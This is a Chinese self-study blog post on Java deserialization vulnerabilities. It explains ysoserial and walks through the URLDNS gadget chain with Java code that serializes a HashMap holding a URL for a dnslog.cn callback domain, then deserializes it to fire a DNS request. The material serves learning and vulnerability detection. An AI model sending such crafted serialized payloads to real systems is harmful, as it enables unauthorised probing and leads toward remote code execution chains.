自学Java 代码审计,主要自己一个人学习,有点闭门造车,搜索引擎学习法,但是还是记录一下,也分享一下,也便于将来的总结和反思,如果我能终能学到什么,我也会重新梳理思路,为那些自学者提供一个好的思路,所以有了下面的系列文章java代码审计自学篇。
之前研究了,但是没有整理好,因为有hvv任务,所以推迟了一些,现在赶紧整理发出来。
Java反序列化漏洞的产生原因:
简单的说就是,在于开发者在重写 readObject 方法的时候,写入了漏洞代码。
序列化和反序列化本身并不存在问题
但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
在接触Java反序列化之前,就是PHP了,PHP的反序列化和着还是有区别的
他们最基本的原理是类似的,反复横跳,找到一个利用链。
都是用于数据存储的一个格式化的操作。
将一个对象中的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,还原成对象。
而Java其提供了更加高级的writeObject ,允许在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读
15年的Apache Commons Collections 反序列化远程命令执行漏洞 (ysoserial 的最早的 commit )
同时无数 Java 应用系统各种rce疯狂爆出
反序列化漏洞利⽤⼀个⾥程碑式的⼯具,ysoserial。
最开始我都以为,这是一个特定的利用工具,后来发现,为啥好多漏洞都用这个,才知道这是一个通用的工具。
ysoserial集合了各种java反序列化payload,它可以⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏命令。
这个是ysoserial中最简单的一条利用链了,也常常作为检测反序列化的功能,URLDNS这个pop链的大概的工作原理:
1、 java.util.HashMap重写了readObject方法:
在反序列化时会调用 hash 函数计算 key 的 hashCode
2、java.net.URL对象的 hashCode 在计算时会调用 getHostAddress 方法
3、getHostAddress方法从而解析域名发出 DNS 请求
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
ysoserial生成的代码,原理是一样的,下面是参考原理改写的一段,自己调试学习
反序列化的第一步,你得接受对象,然后反序列化吧
那么我们采用本地写一个序列号数据测试
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
//漏洞出发点 hashmap,实例化出来
HashMap<URL, String> hashMap = new HashMap<URL, String>();
//URL对象传入自己测试的dnslog
URL url = new URL("http://40zkzk.dnslog.cn");
//反射获取 URL的hashcode方法
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
//使用内部方法
f.setAccessible(true);
// put 一个值的时候就不会去查询 DNS,避免和刚刚混淆
f.set(url, 0xdeadbeef);
hashMap.put(url, "zeo");
// hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
f.set(url, -1);
//序列化成对象,输出出来
ObjectOutputStream objos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
objos.writeObject(hashMap);
}
}
随后,开始反序列化,触发漏洞
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class test {
public static void main(String[] args) throws Exception {
//读取目标
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./out.bin"));
//反序列化
ois.readObject();
}
}
先运行第一个,生产序列化数据
再运行第二个,反序列化触发漏洞
最后收到dnslog
注意:每次换DNSLOG的时候,都有重新生产序列化数据
先看一下利用连,熟悉一下路径
HashMap->readObject() 反序列化点触发
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress() 发出解析请求
梦开始的地方是HashMap 类
我们前⾯说了,触发反序列化的⽅法是 readObject
找到HashMap 类的 readObject ⽅法
触发点在 1413行的
putVal(hash(key), key, value, false, false);
然后就是,其中的第一个参数 hash(key) 方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里就是换对象了,这里的key肯定不是null,那么就会触发 key.hashCode()
这里使⽤的这个key是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b3LQziqw-1597834189373)(/Users/zy/Library/Application Support/typora-user-images/image-20200813212359358.png)]
URL对象再次跟入 继续跟进其 hashCode ⽅法
359行 getHostAddress 方法传入了 DNSLOG地址
再跟入,其实就是442行,直接一句发出请求了
现在运行前
这剧请求了URL,发出了请求
收到DNS请求,成功触发URLDNS整个功能
新手第一次调试,总找不到触发点,还以为不在这,尤其是这个地方
这里有好几个对象, 要循环好几次,所以要找到 URL对象,再步入参数的hash函数
https://xz.aliyun.com/t/7157#toc-0